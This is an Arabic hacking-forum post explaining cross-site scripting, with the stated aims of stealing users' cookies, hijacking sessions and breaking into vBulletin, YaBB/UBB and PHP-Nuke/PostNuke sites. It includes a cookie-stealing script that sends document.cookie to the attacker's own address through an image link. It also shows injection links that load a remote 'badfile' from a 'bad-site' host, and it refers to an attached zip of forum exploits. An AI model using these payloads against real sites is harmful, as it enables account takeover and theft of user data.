Cross Site Scripting
منقول من منتدى الحلم
الكاتب : tcp
السلام
عليكم ورحمة
الله وبركاته
نظرا لاهمية
الموضوع
التالي وهو
عبارة عن
تجميعه من
موقع سيرت
وموقع بيرل
بالاضافة الى
بعض اللمسات
مني لتقريب
واستغلال تلك ,
حول مشكلة او
بالاحرى
هشاشة امنية
او ثغرة في
مصطلحات
الهكرز.
ارجو في حالة
نقل الموضوع
الاشاره الى
مصدر وكاتب
الموضوع .
===============================================================================================
المتطلبات :
معرفة تامه
بلغة HTML
اطلاع غير
متعمق على
لغات
السكربتينق
وهي JAVASCRIPT ,PERL ,CGI ,VBSCRIPT
ومن وجهة نظر
شخصية
المصايب كلها
من الجافا
سكربت
والهتمل
===============================================================================================
الاهداف
المنشوده :
* افهام القارئ
عن الكيفية
التى يتم فيها
سرقة معلومات
هامه من جهاز
المستخدم
* اختراق
المنتديات من
نوع VBULLETIN او YaBB and UBB او
المجلات من
البهب نيوك او
بوست نيوك
*افهام القراء
عن الكيفية
التي تتم فيها
سرقة الكوكيز
او اختطاف
الجلسة من
المستخدمين
* ان يستطيع
القارئ توسيع
مداخل
الاختراق
================================================================================================
جمله عرضية :
الاختراق ليس
الا تشغيل
للمخ
واستغلال
لاشياء لها
فائده وارجو
من يقرا هذا
الموضوع بان
يحاول التعود
على مسألة
القراءة
والترجمه ثم
يلجأ الى
التطوير
ويترك عنه
مسألة
المطامر من
منتدى لمنتدى
او
المواقع التي
تطرح الثغرات
الامنية ...هل
نحتاج الى امة
تطور نفسها ..
ام نطور
انفسنا نحو
الامية
================================================================================================
المشكلة :
كما هو معروف
فان مستعرضات
الوب مثل
الاكسبلورر
او نت سكيب ...
الخ تاتي
مترجمات
النصوص او
السكربتات
مبنية داخلها
ويتم ترجمة
السكربتات
على جهاز
المستخدم فلو
اننا طلبنا
صفحة كان بها
سكربت معين
فان المستعرض
يترجم هذا
السكربت
ويظهره على
نفس الصفحه
المطلوبه .
اما بالنسبة
للمنديات او
مجموعات
النقاش فانها
ترفض مثل هذه
السكربتات
وتعتبرها خرق
للخصوصية
او قد تستغل في
اغراض سيئة
لسرقة
معلومات
حساسة من
المستخدمين
المثال
التالي يوضح
كيفية ادراج
السكربت :
Hello FOLKS board. This is a message.
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.
ان كلمة malicious code تم
ادرجها او
حقنها في بين
علامتي
السكربت وقد
تحتوي على كود
خبيث
يسرق او يرسل
بيانات ... الخ
لذلك فان
مصمموا برامج
المنتديات
ومطوروا
يمنعونها الا
اذا مكنها
الادمن
او المصمم او
قد يتم
استخدامها
اذا مكن
المنتدى تفيل
HTML مثلا يتم
ادراج
السكربت مكان
خاصية الامج
<script>document.write('<img src="http://my_ip_address/'+document.cookie+'">';</script>
او قد يستطيع
السكربت ان
يكتب على شكل
رابط في صفحة
او يرسل لك
بالبريد او
يرسل لك عن
طريق المسنجر
والمثال
التالي يوضح
لك كيفية عمل
رابط في صفحة
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious
code</SCRIPT>"> Click here</A>
انظر هنا وركز
في كيفية عمل
الكود انها
فقط عندما
يصلك باحد
الطرق
المذكوره
اعلاه وتضغط
عليه سينفذ
السكربت
وللشرح اكثر
لنفرض ان
السكربت comment.cgi
سكربت يرسل
ملاحظاتك
لصاحب الموقع
او قد يكون
سكربت للبحث
في الموقع او
المنتدى وهو
يحتوي على
متغير داخله
اسمه mycomment ياخذ
المدخلات او
الملاحظات
التي تكتبها
فلو اعتبرناه
انه سكربت بحث
ويولد صفحات
ديناميكية
ناتجه من
البحث ستكون
النتائج
وخيمة فبدل ان
ينتج الصفحات
الحيوية او
النشطه سينتج
مايطلبه
السكربت منه
لاحظ الفكره
هنا فقد ضمن
السكربت داخل
حقل نصي فبدلا
من ان ياخذ
الحقل النصي
نصوص استخدم
ليأخذ اوامر
من السكربت .
وحتى اعقد
الامور اكثر
لاحظ المثال
التالي :
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT SRC='http://bad-site/badfile'></SCRIPT>">
Click here</A>
هنا استخدم
نفس السكربت
السابق لكن
هذه المره
طوره اكثر
ليكون
مستخدما في
ادراج ملف من
موقع اخر
والذي
هو بالاسم BADFILE
ولان مصدر
البيانات
ادخل فيه عدة
مصادر اخرى عن
طريق السكربت
المذكور فأن
هذا الهجوم
يسمى ب cross-site scripting او
الترجمه من
عندي " برمجة
عبور الموقع "
لاننا عبرنا
باستخدام
برمجة
السكربتات
اكثر من موقع
واذا كنت
تلاحظ في
السيكيورتي
فوكس او
المواقع
الامنيه
تختصر ب CSS وهي
اختصار
ل cross-site scripting وليس ل
CASCADE style sheets اي اوراق
الانماط
المتتالية
قد يدخل بدل
الوسم او
علامة
السكربت اي من
الوسوم
التالية
<SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>
ومن الممكن ان
يكون هناك وسم
النماذج <form> من
وسوم HTML وبنفس
الافكار
السابقة يمكن
تنفيذ
الاوامر
منها لسرقة
الكوكيز او
بيانات اخرى
او توجيهك
لصفحات اخرى
اذا كنت قرات
ماكتبته عن
التكويد
السداسي عشر
واليونيكود
تستطيع الان
ان تفهم ما
اقصده
المرفقات :
ملف zip يحتوي
على الثغرات
الامنية في
منتديات vb
ومنتديات yabb and ubb
وثغرة عبور
المواقع
للمجلات
النيوك
والبوست نيوك
التي تمكنك من
استغلال
ماذكرته في
الموضوع
================================================================================================
ولمزيد من
التفاصيل :
http://www.cert.org/advisories/CA-2000-02.html
http://www.perl.com/pub/a/2002/02/20/css.html
ملف
مرفق : css.zip